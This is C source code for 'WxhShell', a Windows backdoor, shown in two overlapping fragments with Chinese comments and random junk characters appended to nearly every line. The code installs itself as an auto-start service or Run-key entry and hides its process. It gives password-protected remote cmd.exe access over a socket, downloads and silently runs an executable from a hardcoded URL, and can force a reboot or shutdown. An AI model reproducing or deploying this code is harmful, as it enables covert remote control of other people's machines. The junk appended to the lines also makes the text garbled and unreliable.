    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cjwc:3 CM  
    if(Boot(SHUTDOWN)) E-Y4TBZ*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pzte!]B  
    else { Sc9}W U  
    closesocket(wsh); bPVQ-  
    ExitThread(0); v/x~L$[  
    } R3hyz~\x&  
    break; PauF)p  
    } GBYwS{4  
  // 获取shell ):7mK03J  
  case 's': { 'q\[aKEX=  
    CmdShell(wsh); J=6( 4>  
    closesocket(wsh); "ifv1KZ#  
    ExitThread(0); C9^C4   
    break; _*fOn@Vwo  
  } $L W8 vo7  
  // 退出 I6Ga'5bV  
  case 'x': { W9:(P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GD0Q`gWNe  
    CloseIt(wsh); OE=.@Ry"  
    break; hw2Sb,bY  
    } Zmz $ hr  
  // 离开 8c%_R23  
  case 'q': { ~_a$5Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cf,^7,-`"  
    closesocket(wsh); A5go)~x\  
    WSACleanup(); '+v[z=.8]  
    exit(1); _B7+n"t\r  
    break; "=,IbC  
        } )`K!XX$%  
  } odKdpa Zc[  
  } `y$@zT?j  
szGGw  
  // 提示信息 Y(F>;/AA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mr>dZ)  
} n!&F%|o^^  
  } nrKir  
+g&M@8XO&  
  return; Vp1Ff  
} RC!9@H5S#  
|p`}vRv Uh  
// shell模块句柄 [Gc9 3PA7q  
int CmdShell(SOCKET sock) z[WdJN{  
{ /kAbGjp0  
STARTUPINFO si; 6[Wv g  
ZeroMemory(&si,sizeof(si)); DLO2$d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ie(M9QMp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cC]lO  
PROCESS_INFORMATION ProcessInfo; Q!{,^Qb  
char cmdline[]="cmd"; ?*&5`Xh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yc^,Cj{OM  
  return 0; ,c|Ai(U  
} EbnV"]1  
<=]:ED $V@  
// 自身启动模式 )yUSuK(Vu  
int StartFromService(void) 95sK;`rE+  
{ ,:8 oVq>?  
typedef struct 6 -BC/  
{ ^#]eCXv  
  DWORD ExitStatus; B/I1<%Yk  
  DWORD PebBaseAddress; v.F|8 cG  
  DWORD AffinityMask; kL"Y>@H  
  DWORD BasePriority; %R  P\,|  
  ULONG UniqueProcessId; dy4~~~^A  
  ULONG InheritedFromUniqueProcessId; ^00C"58A  
}   PROCESS_BASIC_INFORMATION; =>L2~>[  
UN|S!&C$  
PROCNTQSIP NtQueryInformationProcess; =-]NAj\  
aSIoq}c(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S|]\q-qA&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gP`CQ0t  
R%"'k<`#  
  HANDLE             hProcess; PAXm  
  PROCESS_BASIC_INFORMATION pbi; :"gu=u!  
K_%gda|l+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HjY! ]!4p  
  if(NULL == hInst ) return 0; 7*>,BhF#  
[I,s:mn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DDe`Lb%%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _8e0vi!~2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GYtp%<<9;  
] QJ7q}  
  if (!NtQueryInformationProcess) return 0; 84/#,X!=s  
l:*.0Tj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -'T^gEd) c  
  if(!hProcess) return 0; C?g<P0h  
-nY_.fp>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EZ[e  a<  
P98g2ak  
  CloseHandle(hProcess); 8;O/x  
kV4,45r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "] ]aF1  
if(hProcess==NULL) return 0; ~0rvrDDg  
0(Hzh?t_  
HMODULE hMod; <sG}[:v  
char procName[255]; dst!VO: M  
unsigned long cbNeeded; {dwlW`{  
$pauPEe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~7:Q+ 0,,  
Qp+M5_  
  CloseHandle(hProcess); u<EPK*O*  
L=&}s[5  
if(strstr(procName,"services")) return 1; // 以服务启动 ; jrmr`l=  
n&8SB'-r  
  return 0; // 注册表启动 !:a^f2^=  
} m2[J5n?zLL  
JvYs6u  
// 主模块 AE=E"l1]  
int StartWxhshell(LPSTR lpCmdLine) @[bFlqs E  
{ |}Z2YDwO/  
  SOCKET wsl; 4jW <*jM  
BOOL val=TRUE; KgXu x-q  
  int port=0; .f`KP!p.  
  struct sockaddr_in door; "Iacs s0;  
jXIVR'n(  
  if(wscfg.ws_autoins) Install(); { T?1v*.[  
*mn"G K6  
port=atoi(lpCmdLine); 7=a e^GKo  
_% i!LyG  
if(port<=0) port=wscfg.ws_port; E+J+fi  
\{= {{O  
  WSADATA data; >^D5D%"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FY pspv?4  
Z9j`<VgN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G4uA&"OE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,; n[_f  
  door.sin_family = AF_INET; lD$\t/8B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,,G'Zur7  
  door.sin_port = htons(port); s3=sl WY=  
-fOBM 4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @ X5#?  
closesocket(wsl); ~'N+O K  
return 1; zZP&`#TAy  
} ?L6wky{  
7h`t-6<!q  
  if(listen(wsl,2) == INVALID_SOCKET) { Xt!wO W  
closesocket(wsl); `o21f{1]X&  
return 1; nGxG!  
} T-Yb|@4  
  Wxhshell(wsl); ]j]<CqG  
  WSACleanup(); Kxi@"<`S  
63kZ#5g(Dw  
return 0; TjOK8 t  
rq:sy=;  
} s`=&l  
!{vZvy"  
// 以NT服务方式启动 Pb<6-Jc[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) on 4 $n7  
{ 6E9o*YSk  
DWORD   status = 0; @>+`1C  
  DWORD   specificError = 0xfffffff; 5m\)82s  
5>h/LE]"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "8E=*2fcw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =.qPjp_Qd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 37 *2/N2  
  serviceStatus.dwWin32ExitCode     = 0; X39%O'  
  serviceStatus.dwServiceSpecificExitCode = 0; ,_ @) IN  
  serviceStatus.dwCheckPoint       = 0; Bnw^W _  
  serviceStatus.dwWaitHint       = 0; =KHX_ib  
{Rn*)D9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @_?Uowc8  
  if (hServiceStatusHandle==0) return; 7Ac.^rv5  
jWso'K  
status = GetLastError(); y0'WB`hNQ  
  if (status!=NO_ERROR) dRUmC H  
{ H ahA} Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !w/]V{9`X  
    serviceStatus.dwCheckPoint       = 0; =69sWcC8  
    serviceStatus.dwWaitHint       = 0; ;8w CQ  
    serviceStatus.dwWin32ExitCode     = status; N!<X% Ym  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6\? 2=dNX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f;!L\$yKy  
    return; HBA|NV3.  
  } V-18~+F~"a  
n!U1cB{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6n H'NNS:J  
  serviceStatus.dwCheckPoint       = 0; w I[Hoi V  
  serviceStatus.dwWaitHint       = 0; -c#vWuLl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c_Iq!MH  
}  ~;uU{TT  
B^.:dn  
// 处理NT服务事件,比如:启动、停止 .g_^! t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'l3 DP  
{ df/7u}>9  
switch(fdwControl) zUWeOR'X  
{  SPnW8  
case SERVICE_CONTROL_STOP: % @!hf!  
  serviceStatus.dwWin32ExitCode = 0; >RrG&Wv59  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gp+@+i>b+[  
  serviceStatus.dwCheckPoint   = 0; ;X+cS,h  
  serviceStatus.dwWaitHint     = 0; lU`t~|>r+  
  { ,M :j5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p{&o{+c  
  } ]+>Kl>@  
  return; 0CI\Yd=  
case SERVICE_CONTROL_PAUSE: %K0Wm#)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jVna;o)  
  break; #-l+c u{  
case SERVICE_CONTROL_CONTINUE: =[0| qGzg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q-S#[I+g  
  break; tO3#kV\,  
case SERVICE_CONTROL_INTERROGATE: cDz^jC   
  break; C1OiMb(:  
}; c=re(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3pyE'9"f6  
} 4W=fQx]  
fIn^a 3TV  
// 标准应用程序主函数 O 2/_$i[F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) | NyANsI  
{ <slrzc_>&  
'@1C$0tx  
// 获取操作系统版本 z~/e\  
OsIsNt=GetOsVer(); .>2]m[53  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  xF*i+'2  
xrkR)~ E  
  // 从命令行安装 +5GPU 9k  
  if(strpbrk(lpCmdLine,"iI")) Install(); \T?6TDZ]  
l!:L<B  
  // 下载执行文件 H>%L@Btw  
if(wscfg.ws_downexe) { .&n! 4F'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hJ75(I *j  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5+t$4N+P  
} H% FP!03  
9{Igw"9ck  
if(!OsIsNt) { Ged} qXn  
// 如果时win9x,隐藏进程并且设置为注册表启动 FJFO0Hb6  
HideProc(); bd2QQ1[1vh  
StartWxhshell(lpCmdLine); !Oi':OQG  
} 2rHQ7  
else  p+-IvU  
  if(StartFromService()) K1p.{  
  // 以服务方式启动 :mt<]Oy3  
  StartServiceCtrlDispatcher(DispatchTable); i"mQ  
else sAnb   
  // 普通方式启动 }(K1=cEaL  
  StartWxhshell(lpCmdLine); UYzNaw4/x  
i;\n\p1  
return 0; orAr3`AR3  
} c7nbHJi  
LtV,djk  
"d2JNFIHb  
u,]qrlx{  
=========================================== : Xu9` 5  
gP>W* ]0r1  
lBudC  
z6|kEc"{  
z&\N^tBv  
+K ,T^<F;  
" TY?O$d2b3  
 m=a^t  
#include <stdio.h> a'O-0]g,  
#include <string.h> JW"n#sR4  
#include <windows.h> w8zr0z  
#include <winsock2.h> }|wC7*^)  
#include <winsvc.h> *d31fBCk%  
#include <urlmon.h> Zh_3ydMD1  
gL`aLg_  
#pragma comment (lib, "Ws2_32.lib") /x\~ 5cC  
#pragma comment (lib, "urlmon.lib") un}!&*+  
D'#,%4P,e\  
#define MAX_USER   100 // 最大客户端连接数 `rV -,-r@  
#define BUF_SOCK   200 // sock buffer ^?|d< J:{  
#define KEY_BUFF   255 // 输入 buffer U|8?$/*\  
|o@U L  
#define REBOOT     0   // 重启 #k,.xMJ~  
#define SHUTDOWN   1   // 关机 \y+^r|IL  
ZuKOscVS#T  
#define DEF_PORT   5000 // 监听端口 &#OF,_6"m  
[MD"JW?4B  
#define REG_LEN     16   // 注册表键长度 AqH GBH0  
#define SVC_LEN     80   // NT服务名长度 w*X(bua@  
*nEG<Y)  
// 从dll定义API Y Azj>c&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'Z)#SzY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AYDAt5K_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }|)T<|Y;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *\*]:BIe&v  
`/<f([w  
// wxhshell配置信息 hsJGly5H  
struct WSCFG { )~IOsTjI  
  int ws_port;         // 监听端口 2nCHL '8N  
  char ws_passstr[REG_LEN]; // 口令 w|4CBll  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4}Lui9  
  char ws_regname[REG_LEN]; // 注册表键名 e}(8BF  
  char ws_svcname[REG_LEN]; // 服务名 ,l.+$G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9%riB/vkrF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S'`RP2P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,rOh*ebF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :d~mlyFI6P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !E,|EdIr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7/K'nA  
n*TKzn4E  
}; ~*`wRiUhis  
O{Q+<fBC9  
// default Wxhshell configuration VBW][f  
struct WSCFG wscfg={DEF_PORT, -b34Wz(  
    "xuhuanlingzhe", IR32O,)  
    1, {MUO25s02  
    "Wxhshell", 4L r,}t A  
    "Wxhshell", X^i3(N  
            "WxhShell Service", ygd*zy9  
    "Wrsky Windows CmdShell Service", g!i45]6[Nw  
    "Please Input Your Password: ", Z% ]LZ/O8  
  1, IDdu2HNu  
  "http://www.wrsky.com/wxhshell.exe", [ Scao $  
  "Wxhshell.exe" O%<+&Q7  
    }; ReGT*+UN  
3@* ~>H  
// 消息定义模块 Iz&d S?p_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?"kU+tCxg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W #kLM\2L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8E>2 6@.  
char *msg_ws_ext="\n\rExit."; !/1 ~  
char *msg_ws_end="\n\rQuit."; O#<S\66  
char *msg_ws_boot="\n\rReboot..."; y^D3}ds  
char *msg_ws_poff="\n\rShutdown..."; Z=l2Po n  
char *msg_ws_down="\n\rSave to "; WGo ryvEx  
?P}) Qa  
char *msg_ws_err="\n\rErr!"; J ayax]u7J  
char *msg_ws_ok="\n\rOK!"; :u2tu60&MJ  
[a.(0YLr'w  
char ExeFile[MAX_PATH]; YVk +zt~S  
int nUser = 0; sosIu  
HANDLE handles[MAX_USER]; .!'rI7Kz'i  
int OsIsNt; Kr`.q:0GK  
ca[*#xiJ  
SERVICE_STATUS       serviceStatus; fT=ZiHJ3Gu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I/gfsyfA  
7 ,Q7`}gBf  
// 函数声明 ,t|_Nc  
int Install(void); MfA%Xep  
int Uninstall(void); `:2np{  
int DownloadFile(char *sURL, SOCKET wsh); kjr q;j:  
int Boot(int flag); 0|{":i_s  
void HideProc(void); 1uz K(j8w  
int GetOsVer(void); )-1$y+s>  
int Wxhshell(SOCKET wsl); T,B%iZgCh  
void TalkWithClient(void *cs); QRF:6bAxsL  
int CmdShell(SOCKET sock); Ko "JH=<  
int StartFromService(void); \?^ EFA+;  
int StartWxhshell(LPSTR lpCmdLine); S)"vyGv  
i,L"%q)C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L l,nt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CljEC1S#  
[TT:^F(Y  
// 数据结构和表定义 UM'JK#P"  
SERVICE_TABLE_ENTRY DispatchTable[] = . :(gg  
{ MW0CqMi]T  
{wscfg.ws_svcname, NTServiceMain}, 7e{w,.ny!  
{NULL, NULL} <4^y7]] F  
}; u%Z4 8wr  
aZmbt,.V  
// 自我安装 {q&A/  
int Install(void) p4K 8L'nZ  
{ }@53*h i(  
  char svExeFile[MAX_PATH]; |+=ctpx9&  
  HKEY key; o Y<vKs^  
  strcpy(svExeFile,ExeFile); clr]gib  
Z eWst w7  
// 如果是win9x系统,修改注册表设为自启动 Ge24Lp;Y 6  
if(!OsIsNt) { o/!a7>xO4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C%P.`NxA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PG'I7)Bv  
  RegCloseKey(key); 2 xi@5;!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W#^p%?8pR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?MiMwVR  
  RegCloseKey(key); u7-0?  
  return 0; 5jTA6s9zA  
    } [U7r>&  
  } DyQvk  
} 1z3I^gI*i  
else { l_(4CimOZ  
|D8c=c%  
// 如果是NT以上系统,安装为系统服务 g$8a B{)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h5))D!  
if (schSCManager!=0) +:z%#D  
{ y|WOw(#  
  SC_HANDLE schService = CreateService CS"p3$7,  
  ( P?y{ 9H*  
  schSCManager, S_Vquw(+  
  wscfg.ws_svcname, eh3CVgH91;  
  wscfg.ws_svcdisp, 11JO[  
  SERVICE_ALL_ACCESS, a0  w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HGW;]8xl  
  SERVICE_AUTO_START, {dV!sQD  
  SERVICE_ERROR_NORMAL, >JN[5aus  
  svExeFile, M5S<N_+Pe  
  NULL, ?QzN\f Y;  
  NULL, jLBwPI_g  
  NULL, G""=`@  
  NULL, ralU9MN.  
  NULL hPUYq7B  
  ); \0l"9 B.  
  if (schService!=0) [_p&,$z8[  
  { DzY`O@D[  
  CloseServiceHandle(schService); s06R~P4  
  CloseServiceHandle(schSCManager); yMf["AvG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iHyA;'!Os  
  strcat(svExeFile,wscfg.ws_svcname); qV@Hu/;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3. g-V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j<i: rk|  
  RegCloseKey(key); VHU,G+ms  
  return 0; JZcW?Or  
    } r$Y% 15JV  
  } Umk!m] q  
  CloseServiceHandle(schSCManager); jyjK~ !0  
} h,'m*@Eg  
} }sGH}n<9*  
i(<do "Am<  
return 1; Lmyw[s\U  
} 1 BVpv7@  
;#?+i`9'q  
// 自我卸载 BP@Lhii  
int Uninstall(void) rW9ULS2 d  
{ h}P""  
  HKEY key; bC]GL$ph9*  
FDRpK 5cw  
if(!OsIsNt) { #'kVW{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YCB=RT]&`  
  RegDeleteValue(key,wscfg.ws_regname); 3 jay V  
  RegCloseKey(key); ?I#zcD)w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `LVX|l62  
  RegDeleteValue(key,wscfg.ws_regname); FYeUz$/  
  RegCloseKey(key); `)eqTeW  
  return 0; C$EvcF% 1  
  } %g%#=a;]q  
} 9=;ETLL "  
} ,u<aKae  
else { E+E.z?>S  
|Ok1E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uY=}w"Db  
if (schSCManager!=0) 7~ok*yGw  
{ `=~d^wKYJ3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9Z_98 Rh  
  if (schService!=0) V9kL\Ys  
  { dg42K`E  
  if(DeleteService(schService)!=0) { nc%ly *  
  CloseServiceHandle(schService); c- ^\YSDMN  
  CloseServiceHandle(schSCManager); o@G <[X|ke  
  return 0; _&6&sp<n  
  } d[I}+%{[  
  CloseServiceHandle(schService); BM]sW:-v  
  } FA;uu\  
  CloseServiceHandle(schSCManager); lO0 PZnW9  
} Z"G@I= Q(  
} KA$l.6&d  
NFcMh+qnK  
return 1;  zWIC4:  
} l]o&D))R  
}x1p~N+;  
// 从指定url下载文件 "5R8Zl+  
int DownloadFile(char *sURL, SOCKET wsh) %8yX6`lH  
{ P$i?%P~  
  HRESULT hr; |^E# cI  
char seps[]= "/"; U GJ# "9  
char *token; q#N8IUN}4  
char *file; ro4 XA1  
char myURL[MAX_PATH]; KBo/GBD]|  
char myFILE[MAX_PATH]; nr<&j#!L  
hUy\)GsT  
strcpy(myURL,sURL); G>0S( M)  
  token=strtok(myURL,seps); u9"1%  
  while(token!=NULL) KCkA4`IeM  
  { v-@xO&<  
    file=token; CCZ]`*wJ  
  token=strtok(NULL,seps); -?WhJ.U  
  } /Hl]$sJY  
9L'R;H?L  
GetCurrentDirectory(MAX_PATH,myFILE); )/F1,&/N`e  
strcat(myFILE, "\\"); @cZNoD  
strcat(myFILE, file); Yxt`Uvc(^h  
  send(wsh,myFILE,strlen(myFILE),0); YQ}bG{V  
send(wsh,"...",3,0); Iz\IQa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PO[ AP%;  
  if(hr==S_OK) M[R\URu8  
return 0; !fcr3x|Y~M  
else 1[vmK,N=E  
return 1; %vO b"K$X  
w;(`!^xv  
} +;Jb)8  
v/BMzVi  
// 系统电源模块 .q1OT>  
int Boot(int flag) 48BPo,nWR  
{ xA9{o+  
  HANDLE hToken; ,IW$XD  
  TOKEN_PRIVILEGES tkp; "7pd(p *C  
W=Ru?sG=  
  if(OsIsNt) { 4=>4fia&D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Py[Z9KLX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y&k6Xhuao  
    tkp.PrivilegeCount = 1; \$Nx`d aFi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iS^IqS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /CAi%UH,F  
if(flag==REBOOT) { S&@uY#_(*T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xhIC["z5  
  return 0; FXPw 5  
} $b/oiy!=|3  
else { ^MesP:[2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }w&+ H28.#  
  return 0; el*C8TWlw  
} 37@_"  
  } Q2)z1'Wv  
  else { i!30f^9D-S  
if(flag==REBOOT) { :*"0o{ ie  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4#Fz!Km  
  return 0; ruLi "d  
} KF|<A@V  
else { ]3C&l+m$ot  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X'Dg= |  
  return 0; EF?@f{YY$n  
} EwcN$Ma  
} PYl(~Vac  
W,i SN}  
return 1; &LO<!WKQ  
} (ROurq"  
|:s 4#3  
// win9x进程隐藏模块 A`4j=OF\  
void HideProc(void) :mU,g|~55  
{ 9i8D_[  
D84`#Xbi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U<**Est  
  if ( hKernel != NULL ) `<h}Ygo>k/  
  { \5$N> 2kO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y8Bi5Ae,+1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }MDuQP]  
    FreeLibrary(hKernel); ->x+ p"  
  } is%qG?,P  
m?G}%u  
return; dwKre#4F  
} iXc-_V6  
QW.VAF\6*  
// 获取操作系统版本 k, )7v  
int GetOsVer(void) ANy=f-V  
{ AfG!(AF`  
  OSVERSIONINFO winfo; Y%b 5{1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8W 9%NW3&  
  GetVersionEx(&winfo); a3L]'E'*#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O&=?,zLO[  
  return 1; sAIL+O  
  else 6|m1z  
  return 0; x[3kCa|4A  
} -Rhxib|<  
>+=)Q,|R  
// 客户端句柄模块 \eE0Rnaf-  
int Wxhshell(SOCKET wsl) 2+Z2`k]AC  
{ iKa}@U  
  SOCKET wsh; tnz BNW8  
  struct sockaddr_in client; SeBbI&Ju  
  DWORD myID; :<w3.(Z  
<L@0w8i`  
  while(nUser<MAX_USER) v6 DN:!&  
{ Rx*T7*xg{  
  int nSize=sizeof(client); L=Q- r[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z]> 0A  
  if(wsh==INVALID_SOCKET) return 1; ,ijgqEN  
W$@q ~/E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *usfJ-  
if(handles[nUser]==0) P@:#NU[  
  closesocket(wsh); +I#5?  
else KP7bU9odJ  
  nUser++; |n3PznV  
  } Re('7m h~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xd>4n7nb$`  
lNQt  
  return 0; n *%<!\gJ  
} 34 W#  
2i#wJ8vrF  
// 关闭 socket }`4o+  
void CloseIt(SOCKET wsh) vbmSbZ"y  
{ X&h4A4#P  
closesocket(wsh); L$h.VQv+  
nUser--; I+w3It  
ExitThread(0); |HJdpY>Uu  
} `~[zIq:}7  
Deq~"  
// 客户端请求句柄 A?q[C4-BO,  
void TalkWithClient(void *cs) A0yRA+  
{ }%[TJ@R;  
B5u0 6O  
  SOCKET wsh=(SOCKET)cs; =M)>w4-  
  char pwd[SVC_LEN]; l/`<iG%  
  char cmd[KEY_BUFF]; h{S';/=8  
char chr[1]; QfB \h[A  
int i,j; f3s0.G#l  
x`w 4LF  
  while (nUser < MAX_USER) { /yyed{q  
db:b%1hk:  
if(wscfg.ws_passstr) { 1agyT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r80w{[S$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;14[)t$  
  //ZeroMemory(pwd,KEY_BUFF); tt,MO)8 VD  
      i=0; zWgNDYT~  
  while(i<SVC_LEN) { fQlR;4QX]  
_L(6F T J  
  // 设置超时 -*k%'Gr  
  fd_set FdRead; #O z<<G<  
  struct timeval TimeOut; g/W<;o<v(I  
  FD_ZERO(&FdRead); cUaLv1:HI  
  FD_SET(wsh,&FdRead); R~CQ=KQ.  
  TimeOut.tv_sec=8; {*As-Y:'F  
  TimeOut.tv_usec=0; I 6a{'c(P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {QTfD~z^K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^Qrdh0j  
*nluK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x SF#ys4v  
  pwd=chr[0]; eP|:b &  
  if(chr[0]==0xd || chr[0]==0xa) { FD*`$.e3\  
  pwd=0; (tP>z+  
  break; *j2P#et  
  } x:O?Fj  
  i++; BS>|M}G)r  
    } bgqN&J)Jr)  
QS,IM >Nr  
  // 如果是非法用户,关闭 socket \CM(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (ta!4h,  
} `&b 8wF  
V"*|`z)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  W *0XV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `UMv#-Y8  
g4&zBn  
while(1) { X3#|9  
1j# ~:=I  
  ZeroMemory(cmd,KEY_BUFF); Lg[*P8wE  
..3TB=Z#  
      // 自动支持客户端 telnet标准   #IA[erf:  
  j=0; CtV$lXxup  
  while(j<KEY_BUFF) { ^.&uYF&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uO>$,s  
  cmd[j]=chr[0]; C[gCwDwl  
  if(chr[0]==0xa || chr[0]==0xd) { cPi 3UjY~  
  cmd[j]=0; XgP7 !  
  break; .6+j&{WNo!  
  } `+1+0?9  
  j++; 9 bYoWw  
    } *TVr| to  
'0GCaL*Sd  
  // 下载文件 pvQw+jX  
  if(strstr(cmd,"http://")) { WmP"u7I4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G/J5aj[  
  if(DownloadFile(cmd,wsh)) R+#|<e5@%o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49^;T;'v  
  else ez&v"J  
